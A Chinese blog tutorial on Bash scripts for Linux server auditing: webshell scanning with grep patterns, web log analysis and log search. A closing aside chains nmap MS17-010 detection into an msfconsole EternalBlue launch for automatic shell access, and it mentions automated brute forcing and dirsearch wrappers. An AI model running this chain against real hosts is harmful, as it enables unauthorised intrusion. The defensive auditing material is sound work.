如何实现基于BashShell的一个审计脚本
这篇文章将为大家详细讲解有关如何实现基于Bash Shell的一个审计脚本,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
上犹网站建设公司创新互联公司,上犹网站设计制作,有大型网站制作公司丰富经验。已为上犹上千多家提供企业网站建设服务。企业网站搭建\外贸网站制作要多少钱,请找那个售后服务好的上犹做网站的公司定做!
windows下,无论是检查日志,还是扫描webshell,都有现成的工具使用,毕竟可视化,干啥也方便,Linux下比较麻烦,客户不让装这个,不让装那个,有些特殊情况下,服务器连个Python环境又没有,用perl写吧,还比较麻烦。
忽然想起来自己还写过两个小脚本,讲完课,没事儿改了改,给各位小伙伴们发上来,脚本没什么技术含量,无非就是些awk、grep、find、function等,希望能派上用场。
整体运行界面是这个样子的,界面眼熟吧,msf的图形,哈哈哈。
总体分了三个内容:
一、Webshell后门扫描
二、网站日志分析
三、日志搜索
一、Webshell后门扫描
主要内容就是通过read -p 获取用户输入内容,然后进行判断
这里需要用户自行输入要扫描的网站路径,字典路径可有可无,留空,就会执行已经写好的东西,自定义的话,就需要用户自己输入字典路径了。。
可能有人看不清图,我就贴一小段命令出来吧。
if [ -z $filepath ];then echo -e "\033[1;31m 请输入要扫描的路径!\033[0m" webscan elif [ -z $wordlist ];then echo "---------------------扫描信息------------------------------------" echo -e "\033[44;37m 网站路径:$filepath \033[0m" echo -e "\033[44;37m 字典路径:$wordlist \033[0m" echo "-------------------------------------------------------------------" find $filepath -name "*.php"|xargs egrep "eval|字典还是推荐使用windows下的notepad++来写,按照格式 test|\$POST|\(\$_POST 来写就好,特殊字符记得转意下。
尤其是涉及中文的,一定要在notepad++中,转换成unix格式,不然是无法识别中文的。
执行以后的效果是这个样子的,虽然是丑了点,但是好歹还是能用的。
二、网站日志分析
这个基本没变,懒得改了,详情可参考3年前写的那篇文章。
如何编写自己的Web日志分析脚本?
运行结果如下:
三、日志搜索
日志搜索,其实就是个文件名搜索和ip地址搜索功能
用户根据扫描出来的webshell后门名称,搜索名字,然后将搜索的信息进行去重、统计进行显示。
主要是通过根据用户指定的文件名或IP地址,将用户的内容保存成变量,然后开始筛选,排除404、400的响应码以及Binary关键字等不关注的信息,然后针对性的进行输出和统计,让检索内容显示的简洁些,并将输出内容进行保存,方便日后查看。
echo "日志内容搜索" read -p "请输入要分析的脚本名称:" name66 if [ -z $name66 ];then echo "请输入正确的文件名" else echo "*******************************检索内容如下:******************************************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "访问IP地址为:"$1" ""后门地址为:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66-ip.log fl=$(cat $filepath3/log/$name66-ip.log) if [ -z $fl ];then echo "没有发现匹配$name66的内容" rm -rf $filepath3/log/$name66-ip.log echo "按回车键重新进行搜索" read key super else cat $filepath3/log/$name66-ip.log echo "*******************************************************详细列表如下:******************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66.log cat $filepath3/log/$name66.log echo "************************************************************************************" fi fi menu ;;运行结果如下:
四、总结
其实整体内容,就是通过function函数来实现一个循环的小框架,来实现输入不同数字来执行定义好的函数功能而已。
毕竟都2020年了,不会徒手写shell脚本的攻城狮不是好运维~
写个整体代码的框架示例,可能看起来能更清楚些。。
#!/bin/bash function menu { cat <当用户执行时,根据输入的序号,来跳转到对应的逻辑上。
用户输入序号1,则进入到case的第一个逻辑上,输出echo "case 1"后,让它跳转到定义好的gn1函数上,并让gn1函数输出“我是功能1”后,返回到menu函数,也就是主界面。
以此类推,当用户输入序号2时,调到gn2函数上。
function gn2 { echo "我是功能2" read -p "如果想嵌套子功能,就学我:" zgn case "$zgn" in 1) echo "我是功能2的子功能,看见我因为你输入的是1" ;; 2) echo "case 2 or 3" ;; 3) echo "default" ;; esac gn2 }执行效果如下:
五、题外话
在kali中,可以将常用的工具集中起来,配合bash shell的function函数,来实现自动化执行,就不需要背命令了,无论什么工具,输个IP地址或者域名就可以直接使用了,只要你提前在function里将它写好。
当然了,如果有在kali里做安全相关的毕设的同学们,可以把msf利用写进去,省去了手动输入命令的过程,还显得有B格~
例如:
nmap+msf的MS17-010配合使用时,可以这样去设计:
先使用read -p获取用户输入内容,并将其保存在变量里,当然了,nmap 要用户输入的地方,肯定是IP啦~
read -p "请输入要扫描的IP地址:" num2
利用nmap -v -n $num2 获取目标端口信息
再通过筛选445端口信息,配合awk来将信息进行分割输出,获取内容:
egrep "open port 445" |awk -F "/" '{print $1}')
并将内容保存到cmd变量里
然后再调用-script=smb-vuln-ms17-010格式对目标IP进行扫描,确认是否存在MS17-010漏洞,
nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_DNS"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'
将其保存在cmd2变量中
一旦目标IP存在MS17-010漏洞,输出结果中会含有相关信息,通过awk分割,获取关键词MS17-010,通过cmd2变量中获取的内容进行匹配,如果两者相当,则执行接下来的操作。
调用msfconsole,并将变量中的IP地址信息自动填写进去,关键命令如下:
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
最终,就实现了通过nmap扫描----判断漏洞-----利用漏洞的一系列效果了:
function ms17010 { cat <执行效果如下:
开始界面:
利用nmap -script=smb-vuln-ms17-010,扫描到目标主机存在MS17-010漏洞后,自动执行攻击命令,获取shell权限。
假设目标主机没有开启445端口,或者有防火墙,则提示失败。
暴力破解也是如此。
利用nmap扫描服务信息,判断开放的服务,根据服务信息,自动调用要破解的模块,实现自动识别,自动破解,输出结果的过程,其实就是个调用,调用,再调用,没什么技术性,关键是在于一个字!
懒!
有学生之前问过,windows上好些工具,都需要进命令行里去执行,好麻烦,每次都记不住,还得打开txt复制命令去用,好烦啊~
当然了,Linux上懒也就罢了,windows上也可以稍微懒一懒。
例如:
windows上可以通过批处理的方式,来写个懒人批处理
原理,依然是获取于用户输入,然后将输入内容带进变量里去执行,简单的不要不要的~
@set /p ym="输入要扫描的域名地址:" @set /p jb="输入要扫描的脚本类型:" @rem 等待用户输入 @set /p gn="请选择要使用的功能:": @rem 选择环境编码1 @if %gn%==1 ( @echo 普通扫描! C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401 ) else ( @if %gn%==2 ( @echo 递归扫描! C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5 pause )最终实现效果如下:
关于“如何实现基于Bash Shell的一个审计脚本”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。
当前名称:如何实现基于BashShell的一个审计脚本
URL链接:http://pwwzsj.com/article/pigssp.html